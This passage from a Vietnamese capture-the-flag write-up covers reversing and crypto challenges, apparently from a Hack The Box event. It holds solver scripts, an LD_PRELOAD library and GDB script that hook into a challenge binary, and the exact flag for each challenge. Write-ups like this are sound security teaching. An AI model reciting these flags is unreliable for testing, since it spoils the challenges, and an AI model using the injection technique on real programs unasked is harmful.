        position_to_char = {pos: char <span class="hljs-keyword">for</span> char, positions <span class="hljs-keyword">in</span> char_to_positions.items() <span class="hljs-keyword">for</span> pos <span class="hljs-keyword">in</span> positions}

        decrypted_message = <span class="hljs-string">''</span>.join(chr(position_to_char[pos]) <span class="hljs-keyword">for</span> pos <span class="hljs-keyword">in</span> sorted(position_to_char))

    <span class="hljs-keyword">return</span> decrypted_message

x = decrypt_message(<span class="hljs-string">"message.txt.cz"</span>)
print(x)
</code></pre>
<h3 id="heading-flag-8">Flag</h3>
<p><code>HTB{4_v3ry_b4d_compr3ss1on_sch3m3}</code></p>
<h2 id="heading-followthepath">FollowThePath</h2>
<p><strong><em>credit: Trohan0x00</em></strong></p>
<p><img src="https://hackmd.io/_uploads/H1a6PifCT.png" alt="image" /></p>
<p>Nhìn source code ban đầu sẽ không cho ta nhiều thông tin cho lắm, đơn giản chương trình sẽ yêu càu ta nhập flag và check input đầu vào.</p>
<p>Mình sẽ thử debug đặt breakpoint ở line 9</p>
<p><img src="https://hackmd.io/_uploads/BykU3sGAp.png" alt="image" /></p>
<p>Đây là hàm check input đầu vào của chương trình. Đầu tiên r8 sẽ lưu giá trị từng kí tự đầu vào của chương trình sau đó <code>xor r8, 0C4h</code> và <code>cmp r8, 8Ch</code>. Mình nghĩ 2 const này sẽ đổi khi qua các hàm check khác cho từng kí tự khác vì thế để xor ngược lại tìm flag thì ta <code>xor 8Ch, 0C4h</code> ra được kí tự <code>H</code>.</p>
<p>Đây có lẽ là format <code>HTB{</code> dựa theo format có sẵn ta sẽ spam thử input đầu vào <code>HTV{aaaaaaaaaaa}</code></p>
<p>Trong lúc debug ta sẽ thấy các biến bên dưới sẽ tự sửa thành code theo như tìm hiểu mình biết được đó là cơ chế <code>self modify</code></p>
<p><img src="https://hackmd.io/_uploads/BJHYyhfAa.png" alt="image" /></p>
<p>Khi chạy đến kí tự a đầu tiên ngoài format ta có thể patch giá trị r8 để qua hàm check hoặc set IP thằng để nhảy qua</p>
<p>Chall có thể làm theo cách thủ công như này nhưng nhiều lúc khá cay tại mình ấn nhầm <code>f9</code> hoặc là đi quấ hàm check mà chưa kịp set IP nên nó jump vô r10:vvv</p>
<h3 id="heading-flag-9">Flag</h3>
<p><code>HTB{s3lF_d3CRYpt10N-1s_k1nd4_c00l_i5nt_1t}</code></p>
<h2 id="heading-quickscan">QuickScan</h2>
<p><strong><em>credit: Trohan0x00</em></strong></p>
<p>Chall cho ta sv docker khi truy cập ta sẽ được như sau</p>
<p><img src="https://hackmd.io/_uploads/SkKHZnfCp.png" alt="Screenshot from 2024-03-16 01-37-40" /></p>
<p>Đây có lẽ là một chuỗi b64 của file ELF mình quăng lên <code>Cyber chef</code> để decode thì ta được một đoạn code như sau</p>
<p><img src="https://hackmd.io/_uploads/BkkLQ3fCT.png" alt="image" /></p>
<p>Đoạn decode cho ta 1 chương trình nhỏ, ta chỉ cần đọc được giá trị byte ở <code>byte_80480C5</code> nhưng giới hạn thời gian bài cho ta chỉ 60s nên việc decode xong đọc giá trị là không thể nên ta sẽ dùng cách khác.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> base64
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">from_bytes</span>(<span class="hljs-params">b</span>):</span>
    num = int.from_bytes(b, byteorder=<span class="hljs-string">'little'</span>)
    <span class="hljs-keyword">if</span> num &gt;= (<span class="hljs-number">2</span> ** (len(b) * <span class="hljs-number">8</span> - <span class="hljs-number">1</span>)):
        num -= (<span class="hljs-number">2</span> ** (len(b) * <span class="hljs-number">8</span>))
    <span class="hljs-keyword">return</span> num

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">find_sequence_and_extract_bytes</span>(<span class="hljs-params">byte_sequence</span>):</span>
    sequence = bytes([<span class="hljs-number">0x48</span>, <span class="hljs-number">0x83</span>, <span class="hljs-number">0xEC</span>, <span class="hljs-number">0x18</span>, <span class="hljs-number">0x48</span>, <span class="hljs-number">0x8D</span>, <span class="hljs-number">0x35</span>])

    data = byte_sequence

    index = data.find(sequence)

    <span class="hljs-keyword">if</span> index == <span class="hljs-number">-1</span>:
        print(<span class="hljs-string">"Sequence not found in file."</span>)
        <span class="hljs-keyword">return</span>

    four_bytes = data[index + len(sequence) : index + len(sequence) + <span class="hljs-number">4</span>]

    b = from_bytes(four_bytes)

    s = index + <span class="hljs-number">4</span> + <span class="hljs-number">7</span> + b

    extracted_bytes = data[s : s + <span class="hljs-number">24</span>]

    <span class="hljs-keyword">return</span> extracted_bytes.hex()

r = remote(<span class="hljs-string">'94.237.62.195'</span> <span class="hljs-number">51062</span>)


first_message = r.recvuntil(<span class="hljs-string">"Bytes? "</span>).decode()
print(first_message)

first_answer = first_message.split(<span class="hljs-string">"Expected bytes: "</span>)[<span class="hljs-number">1</span>].split(<span class="hljs-string">"\n"</span>)[<span class="hljs-number">0</span>]


r.sendline(first_answer)

solved = <span class="hljs-number">0</span>

<span class="hljs-keyword">while</span> solved &lt; <span class="hljs-number">128</span>:

    <span class="hljs-keyword">try</span>:
        second_message = r.recvuntil(<span class="hljs-string">"Bytes? "</span>).decode()
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">"solve: "</span>, solved)
        print(<span class="hljs-string">"An error occurred: "</span>, str(e))
        print(<span class="hljs-string">"Received so far: "</span>, r.recv().decode())

    print(second_message)

    elf_base64 = second_message.split(<span class="hljs-string">"ELF:  "</span>)[<span class="hljs-number">1</span>].split(<span class="hljs-string">"\n"</span>)[<span class="hljs-number">0</span>]

    elf = base64.b64decode(elf_base64)
    answer = find_sequence_and_extract_bytes(elf)

    print(answer)

    r.sendline(answer)

    solved += <span class="hljs-number">1</span>
flag = r.recv().decode()
print(flag)
</code></pre>
<p>Chương trình này dùng 24 byte lưu trên stack và sau đó chép 24 byte (<code>movsb rep</code>) từ vị trí dữ liệu vào stack. Các level tiếp theo có cùng cấu trúc, chỉ khác là số byte và vị trí các data</p>
<p><img src="https://hackmd.io/_uploads/BygW9nzR6.png" alt="image" /></p>
<h3 id="heading-flag-10">Flag</h3>
<p><code>HTB{y0u_4n4lyz3d_th3_p4tt3ns!}</code></p>
<h2 id="heading-flecksofgold">FlecksOfGold</h2>
<p><strong><em>credit: Trohan0x00</em></strong></p>
<p>Bài này mình cảm thấy hơi ao trình đối với mình, sau một lúc tìm hiểu thì cơ bản mình biết được chương trình được viết bằng ECS (Entity Component System). Cụ thể mình sẽ khái quát như sau</p>
<ul>
<li><p>ECS là một kiến trúc phần mềm trong lĩnh vực phát triển trò chơi cũng có thể được áp dụng trong các ứng dụng khác như mô phỏng, thực tế ảo,…</p>
</li>
<li><p>ECS cấu tạo gồm 3 phần chính:</p>
<ul>
<li><p><strong>Entity</strong>: Đại diện cho một đối tượng trong trò chơi hoặc ứng dụng. Một thực thể không chứa bất kỳ dữ liệu nào, chỉ đơn giản là một "tên" hoặc "nhãn" để định danh cho các thành phần liên quan.</p>
</li>
<li><p><strong>Component</strong>: Là các khối xây dựng dữ liệu đơn giản, chứa thông tin về các thuộc tính hoặc hành vi của đối tượng. Mỗi thành phần nên chỉ chứa một phần nhỏ và độc lập của thông tin cần thiết để mô tả một khía cạnh cụ thể của đối tượng.</p>
</li>
<li><p><strong>System</strong>: Là các thành phần xử lý logic và hành vi của đối tượng. Hệ thống hoạt động bằng cách xử lý các thành phần tương ứng và thực hiện các thao tác như cập nhật, vẽ, va chạm và xử lý sự kiện cho các thực thể tương ứng.</p>
</li>
</ul>
</li>
</ul>
<p>Các thông tin khác có thể check tại đây.</p>
<p>Nhìn sơ qua, đề cho ta file ELF, tiến hành phân tích tĩnh bằng IDA</p>
<p><img src="https://hackmd.io/_uploads/HyAAIazCa.png" alt="image" class="image--center mx-auto" /></p>
<p>Nhìn hàm main thôi thì mình thấy ngán vl rồi :v, ta hãy phân tích từng phần</p>
<p><img src="https://hackmd.io/_uploads/r1psNSX0p.png" alt="image" /></p>
<p>Đây có thể là khai báo một component gì đó với kích thước là 0x10</p>
<p><img src="https://hackmd.io/_uploads/r1vGhVXAp.png" alt="image" /></p>
<p>Nhìn vào đọan này ta có thể thấy được FlagPart được khai báo với 2 byte</p>
<pre><code class="lang-plaintext">zmm0_3, zmm1_1 = rand_pos.constprop.1()
int64_t* world_1 = world
void* rax_44 = ecs_new_w_id(world_1, 0)
</code></pre>
<p>Rand_pos được khởi tạo với vị trí ngẫu nhiên trong world sau đó call <code>ecs_new_w_id</code> để tạo ra một Entity mới và cấp phát ID cho nó sau đó gắn position ở trên đã khai báo vào sau đó trỏ tới FLagPart của chúng ta, các FlagPart sẽ được nằm rải rác ở khắp map.</p>
<p>Phần solve bài này mình sẽ update sau sau khi thật sự hiểu còn về phần tricks solve mình có tham khảo các anh nước ngoài đã solve trong discord khá hay.</p>
<p>Đầu tiên do FLECS có thể leak REST API để phân tích ECS, có thể truy cập thông qua giao diện người dùng tại <a target="_blank" href="https://www.flecs.dev/explorer/">https://www.flecs.dev/explorer/</a>. Tính năng này bị vô hiệu hóa trong thử thách, nhưng có thể được kích hoạt bằng cách viết một library share để hook vào</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;dlfcn.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"flecs.h"</span></span>

<span class="hljs-function"><span class="hljs-keyword">const</span> <span class="hljs-keyword">ecs_entity_t</span> <span class="hljs-title">ecs_id</span><span class="hljs-params">(EcsRest)</span> </span>=                FLECS_HI_COMPONENT_ID + <span class="hljs-number">118</span>;
<span class="hljs-keyword">void</span> (*ecs_set_id_ptr)(<span class="hljs-keyword">ecs_world_t</span>*, <span class="hljs-keyword">ecs_entity_t</span>, <span class="hljs-keyword">ecs_id_t</span>, <span class="hljs-keyword">size_t</span>, <span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span>*); <span class="hljs-comment">// dlsym can't access private symbols, we'll set the function pointer via GDB</span>
<span class="hljs-function"><span class="hljs-keyword">void</span> *<span class="hljs-title">do_hacks</span><span class="hljs-params">(<span class="hljs-keyword">ecs_world_t</span>* world)</span> </span>{
    <span class="hljs-keyword">void</span> (*ecs_set_id)(<span class="hljs-keyword">ecs_world_t</span>*, <span class="hljs-keyword">ecs_entity_t</span>, <span class="hljs-keyword">ecs_id_t</span>, <span class="hljs-keyword">size_t</span>, <span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span>*) = ecs_set_id_ptr;
    ecs_singleton_set(world, EcsRest, {<span class="hljs-number">0</span>});
}
</code></pre>
<p>Sau đó compile thành file .so bằng <code>g++ -shared -o hack.so hack.cpp</code></p>
<p><img src="https://hackmd.io/_uploads/HJzppr7CT.png" alt="Screenshot from 2024-03-16 12-44-59" /></p>
<p>Chờ và đợi nó compile sau khi đã compile thành công thì tạo một GDB scirpt như sau:</p>
<pre><code class="lang-php"><span class="hljs-comment"># Set the environment variable to preload your hack.so library</span>
set environment LD_PRELOAD ./hack.so

<span class="hljs-comment"># Run the program</span>
run

<span class="hljs-comment"># Wait for the program to hit a breakpoint or stop</span>
<span class="hljs-comment"># This is where you can interact with the program and obtain the ecs_world_t pointer</span>

<span class="hljs-comment"># Finish the current function to get the ecs_world_t pointer ($rax register)</span>
finish

<span class="hljs-comment"># Assign the value of $rax to $world</span>
set $world = $rax

<span class="hljs-comment"># Set the function pointer to ecs_set_id</span>
set $ecs_set_id_ptr = &amp;ecs_set_id

<span class="hljs-comment"># Call the do_hacks function to enable EcsRest for this world</span>
call (<span class="hljs-keyword">void</span>)do_hacks($world)

<span class="hljs-comment"># Continue executing the program</span>
<span class="hljs-keyword">continue</span>
</code></pre>
<p>Sau đó, chúng ta có thể truy cập vào trình duyệt, chứa danh sách <code>Explorers</code> và hiển thị thành phần <code>CanMove</code>. Ta gán <code>CanMove</code> vào Person Adrianne sau đó đợi flag sẽ được reveal trên terminal.</p>
<p>Ngoài ra còn một số cách khác có thể solve cho bài này như ta sẽ set breakpoint ở esc function và get các giá trị ở memory được trỏ đến ở [flag index, char] và chỉ cần sắp xếp lại để lấy flag.</p>
<h3 id="heading-flag-11">Flag</h3>
<p><code>HTB{br1ng_th3_p4rt5_t0g3th3r}</code></p>
<h2 id="heading-metagaming">MetaGaming</h2>
<p><strong><em>credit: Trohan0x00</em></strong></p>
<p>Bài cho ta luôn source code, cứ ngỡ sẽ dễ ăn nhưng không, source khá dài và rối nên ta phải đọc kỹ.</p>
<p>Mình bắt đầu đọc từ main trước</p>
<p><img src="https://hackmd.io/_uploads/rkBv-kX06.png" alt="image" /></p>
<p>Ta có thể thầy flag format được khai báo từ dữ liệu trên có thể biết được độ dài flag là 40. Xuống bên dưới sẽ là hàm <code>program_t</code> đây là nợi để call các method được define ở bên trên</p>
<pre><code class="lang-c"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">program_t</span> {</span>
    <span class="hljs-keyword">using</span> R = <span class="hljs-built_in">std</span>::<span class="hljs-built_in">array</span>&lt;<span class="hljs-keyword">uint32_t</span>, <span class="hljs-number">15</span>&gt;;

    <span class="hljs-function"><span class="hljs-keyword">template</span>&lt;<span class="hljs-keyword">insn_t</span> Insn&gt;
    <span class="hljs-keyword">static</span> <span class="hljs-keyword">constexpr</span> <span class="hljs-keyword">void</span> <span class="hljs-title">execute_one</span><span class="hljs-params">(R &amp;regs)</span> </span>{
        <span class="hljs-function"><span class="hljs-keyword">if</span> <span class="hljs-title">constexpr</span> <span class="hljs-params">(Insn.opcode == <span class="hljs-number">0</span>)</span> </span>{
            regs[Insn.op0] = Flag.at(Insn.op1);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">1</span>) {
            regs[Insn.op0] = Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">2</span>) {
            regs[Insn.op0] ^= Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">3</span>) {
            regs[Insn.op0] ^= regs[Insn.op1];
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">4</span>) {
            regs[Insn.op0] |= Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">5</span>) {
            regs[Insn.op0] |= regs[Insn.op1];
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">6</span>) {
            regs[Insn.op0] &amp;= Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">7</span>) {
            regs[Insn.op0] &amp;= regs[Insn.op1];
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">8</span>) {
            regs[Insn.op0] += Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">9</span>) {
            regs[Insn.op0] += regs[Insn.op1];
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">10</span>) {
            regs[Insn.op0] -= Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">11</span>) {
            regs[Insn.op0] -= regs[Insn.op1];
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">12</span>) {
            regs[Insn.op0] *= Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">13</span>) {
            regs[Insn.op0] *= regs[Insn.op1];
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">14</span>) {
            __noop;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">15</span>) {
            __noop;
            __noop;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">16</span>) {
            regs[Insn.op0] = rotr(regs[Insn.op0], Insn.op1);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">17</span>) {
            regs[Insn.op0] = rotr(regs[Insn.op0], regs[Insn.op1]);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">18</span>) {
            regs[Insn.op0] = rotl(regs[Insn.op0], Insn.op1);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">19</span>) {
            regs[Insn.op0] = rotl(regs[Insn.op0], regs[Insn.op1]);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">20</span>) {
            regs[Insn.op0] = regs[Insn.op1];
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">21</span>) {
            regs[Insn.op0] = <span class="hljs-number">0</span>;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">22</span>) {
            regs[Insn.op0] &gt;&gt;= Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">23</span>) {
            regs[Insn.op0] &gt;&gt;= regs[Insn.op1];
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">24</span>) {
            regs[Insn.op0] &lt;&lt;= Insn.op1;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> <span class="hljs-keyword">constexpr</span> (Insn.opcode == <span class="hljs-number">25</span>) {
            regs[Insn.op0] &lt;&lt;= regs[Insn.op1];
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">static_assert</span>(always_false_insn_v&lt;Insn&gt;);
        }
    }
</code></pre>
<p>Các method này đơn giản sẽ check các opcode trong thanh ghi xem có đúng giá trị như thế không nếu đúng thì sẽ thực hiện các phương thức trong scope ví dụ như method 0 là read flag, 1 = mov, 2 = xor,…</p>
<pre><code class="lang-plaintext">(program::registers[0] == 0x3ee88722 &amp;&amp; program::registers[1] == 0xecbdbe2 &amp;&amp; program::registers[2] == 0x60b843c4 &amp;&amp; program::registers[3] == 0x5da67c7 &amp;&amp; program::registers[4] == 0x171ef1e9 &amp;&amp; program::registers[5] == 0x52d5b3f7 &amp;&amp; program::registers[6] == 0x3ae718c0 &amp;&amp; program::registers[7] == 0x8b4aacc2 &amp;&amp; program::registers[8] == 0xe5cf78dd &amp;&amp; program::registers[9] == 0x4a848edf &amp;&amp; program::registers[10] == 0x8f &amp;&amp; program::registers[11] == 0x4180000 &amp;&amp; program::registers[12] == 0x0 &amp;&amp; program::registers[13] == 0xd &amp;&amp; program::registers[14] == 0x0
</code></pre>
<p>Tổng cộng có 15 thanh ghi từ 0-14 và mỗi thanh ghi sẽ giữ một giá trị đến khi return chương trình, mình đoán các giá trị thanh ghi có sẽ lần lượt là các kí tự của flag</p>
<p>Tóm lại cơ chế của mã là pack 4 ký tự flag trong một thanh ghi, thực hiện <code>+-*^</code> với giá trị của thanh ghi tiếp theo. Quá trình này hoàn toàn giống nhau đối với mọi thanh ghi (ngoại trừ các thanh ghi cuối cùng). Nhưng do các thanh ghi phụ thuộc với nhau nên ta phải làm ngược lại</p>
<pre><code class="lang-plaintext">regs[14] &lt;&lt;= 8
regs[14] = flag[38]
regs[14] &lt;&lt;= 16
regs[14] = flag[39]
regs[14] &lt;&lt;= 24
regs[14] = 0
regs[13] = ror(regs[13], 10)
regs[11] += 13
regs[11] = ror(regs[11], 13)
regs[12] &amp;= 12
regs[12] -= 12
regs[13] = rol(regs[13], regs[12])
regs[13] -= regs[11]
regs[13] = 13
regs[13] = flag[13]
regs[13] = regs[11]
regs[12] |= regs[10]
regs[12] = 0
regs[10] |= 12
regs[10] = rol(regs[10], 13)
regs[10] ^= regs[13]
regs[11] &amp;= regs[10]
regs[11] = rol(regs[11], regs[12])
regs[11] = flag[12]
regs[11] += 13
regs[11] = ror(regs[11], 13)
regs[11] &amp;= regs[11]
</code></pre>
<p>Nhìn vào flow từ 14 - 11, thì nhìn vào flow của thanh ghi thứ 11 ta có thể ror ngược lại dễ dàng để lấy được <code>flag[12] = 'v'</code></p>
<pre><code class="lang-plaintext">regs[10] = regs[11]
regs[10] = rol(regs[10], 13)
regs[10] |= 12
</code></pre>
<p>Tiếp đến là thanh ghi thứ 10 ta cũng có thể lấy được giá trị thanh ghi này, kể từ đây các thanh ghi từ 9 - 0 sẽ thực hiện các phép toán <code>±*^</code> tương tự nhau nên ta có thể viết script để lấy giá trị</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdint.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">255</span>; ++i)
    {
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">255</span>; ++j)
        {
            <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> k = <span class="hljs-number">0</span>; k &lt; <span class="hljs-number">255</span>; ++k)
            {
                <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> l = <span class="hljs-number">0</span>; l &lt; <span class="hljs-number">255</span>; ++l)
                {
                    <span class="hljs-keyword">uint32_t</span> reg = (l &lt;&lt; <span class="hljs-number">24</span>) | (k &lt;&lt; <span class="hljs-number">16</span>) | (j &lt;&lt; <span class="hljs-number">8</span>) | i;

                    reg -= <span class="hljs-number">532704100</span>,
                    reg -= <span class="hljs-number">2519542932</span>;
                    reg ^= <span class="hljs-number">2451309277</span>;
                    reg ^= <span class="hljs-number">3957445476</span>;
                    reg += <span class="hljs-number">2583554449</span>;
                    reg -= <span class="hljs-number">1149665327</span>;
                    reg += <span class="hljs-number">3053959226</span>;
                    reg += <span class="hljs-number">3693780276</span>;
                    reg ^= <span class="hljs-number">609918789</span>;
                    reg ^= <span class="hljs-number">2778221635</span>;
                    reg += <span class="hljs-number">3133754553</span>;
                    reg += <span class="hljs-number">3961507338</span>;
                    reg ^= <span class="hljs-number">1829237263</span>;
                    reg ^= <span class="hljs-number">2472519933</span>;
                    reg += <span class="hljs-number">4061630846</span>;
                    reg -= <span class="hljs-number">1181684786</span>;
                    reg -= <span class="hljs-number">390349075</span>;
                    reg += <span class="hljs-number">2883917626</span>;
                    reg -= <span class="hljs-number">3733394420</span>;
                    reg ^= <span class="hljs-number">3895283827</span>;
                    reg ^= <span class="hljs-number">2257053750</span>;
                    reg -= <span class="hljs-number">2770821931</span>;
                    reg ^= <span class="hljs-number">477834410</span>;

                    reg = reg ^ <span class="hljs-number">0x8f</span>;

                    <span class="hljs-keyword">if</span> (reg == <span class="hljs-number">0x4a848edf</span> )
                    {
                        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%c%c%c%c"</span>, i, j, k, l);
                        <span class="hljs-keyword">break</span>;
                    }
                }
            }
        }
    }
}
</code></pre>
<p>Chạy script ta sẽ được 4 char là 4 char cuối của flag <code>7b0}</code> Tương tự còn lại với các thanh ghi từ 8 - 0</p>
<h3 id="heading-flag-12">Flag</h3>
<p><code>HTB{m4n_1_l0v4_cXX_TeMpl4t35_9fb60c17b0}</code></p>
<hr />
<h1 id="heading-crypto">Crypto</h1>
<p><strong><em>Note: Write này được tổng hợp từ team crypto của KCSC! Với sự đóng của Zupp, Giang, Minh</em></strong></p>
<h2 id="heading-makeshift">Makeshift</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description">Description</h3>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG

flag = FLAG[::<span class="hljs-number">-1</span>]
new_flag = <span class="hljs-string">''</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(flag), <span class="hljs-number">3</span>):
    new_flag += flag[i+<span class="hljs-number">1</span>]
    new_flag += flag[i+<span class="hljs-number">2</span>]
    new_flag += flag[i]

print(new_flag)
</code></pre>
<ul>
<li>Output:</li>
</ul>
<pre><code class="lang-plaintext">!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB
</code></pre>
<h3 id="heading-solution">Solution</h3>
<p>Đây là một chall khá dễ và hầu như mình không cần suy nghĩ nhiều, chỉ cần phân tích source và viết công thức ra là được. Có được:</p>
<pre><code class="lang-plaintext">msg = flag[1] + flag[2] + flag[0] + flag[4] + flag[5] + flag[3] + ...
</code></pre>
<p>Các vị trí sẽ so le nhau và chỉ cần sắp xếp lại là ta có được flag:</p>
<pre><code class="lang-python">msg = <span class="hljs-string">"!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"</span>
flag = <span class="hljs-string">''</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(msg), <span class="hljs-number">3</span>):
    flag += msg[i+<span class="hljs-number">2</span>]
    flag += msg[i]
    flag += msg[i+<span class="hljs-number">1</span>]

print(flag[::<span class="hljs-number">-1</span>])
</code></pre>
<h3 id="heading-flag-13">Flag</h3>
<p><code>HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}</code></p>
<h2 id="heading-dynastic">Dynastic</h2>
<p><strong><em>credit: Giang</em></strong></p>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> FLAG
<span class="hljs-keyword">from</span> random <span class="hljs-keyword">import</span> randint

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">to_identity_map</span>(<span class="hljs-params">a</span>):</span>
    <span class="hljs-keyword">return</span> ord(a) - <span class="hljs-number">0x41</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">from_identity_map</span>(<span class="hljs-params">a</span>):</span>
    <span class="hljs-keyword">return</span> chr(a % <span class="hljs-number">26</span> + <span class="hljs-number">0x41</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">m</span>):</span>
    c = <span class="hljs-string">''</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(m)):
        ch = m[i]
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> ch.isalpha():
            ech = ch
        <span class="hljs-keyword">else</span>:
            chi = to_identity_map(ch)
            ech = from_identity_map(chi + i)
        c += ech
    <span class="hljs-keyword">return</span> c

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
    f.write(<span class="hljs-string">'Make sure you wrap the decrypted text with the HTB flag format :-]\n'</span>)
    f.write(encrypt(FLAG))
</code></pre>
<ul>
<li>Output:</li>
</ul>
<pre><code class="lang-plaintext">Make sure you wrap the decrypted text with the HTB flag format :-] DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL
</code></pre>
<p>Vì nó không shift 1 giá trị cố định mà mỗi kí tự của plaintext được shift theo quy luật nhất định (cộng thêm cả vị trí index của kí tự đó trong plaintext nữa).</p>
<p><img src="https://hackmd.io/_uploads/rkBoPAv06.png" alt="image" class="image--center mx-auto" /></p>
<p>Dựa vào hàm trên mình chỉ cần dịch ngược lại là xong</p>
<ul>
<li>Script:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pkcs1 <span class="hljs-keyword">import</span> emsa_pkcs1_v15
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> gmpy2 <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> sympy.ntheory.residue_ntheory <span class="hljs-keyword">import</span> discrete_log
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad, unpad
<span class="hljs-keyword">from</span> os <span class="hljs-keyword">import</span> urandom
<span class="hljs-keyword">import</span> math
